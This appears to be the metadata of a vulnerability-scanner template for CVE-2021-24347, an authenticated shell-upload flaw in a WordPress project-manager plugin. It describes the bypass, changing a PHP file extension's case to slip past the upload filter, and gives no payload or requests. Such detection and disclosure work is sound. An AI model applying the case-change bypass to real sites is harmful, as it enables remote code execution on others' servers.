id: CVE-2021-24347

info:
  name: WordPress SP Project & Document Manager <4.22 - Authenticated Shell Upload
  author: theamanrawat
  severity: high
  description: |
    WordPress SP Project & Document Manager plugin before 4.22 is susceptible to authenticated shell upload. The plugin allows users to upload files; however, the plugin attempts to prevent PHP and other similar executable files from being uploaded via checking the file extension. PHP files can still be uploaded by changing the file extension's case, for example, from php to pHP.
  impact: |
    Successful exploitation of this vulnerability can result in unauthorized remote code execution on the affected WordPress site.
  remediation: Fixed in version 4.22.
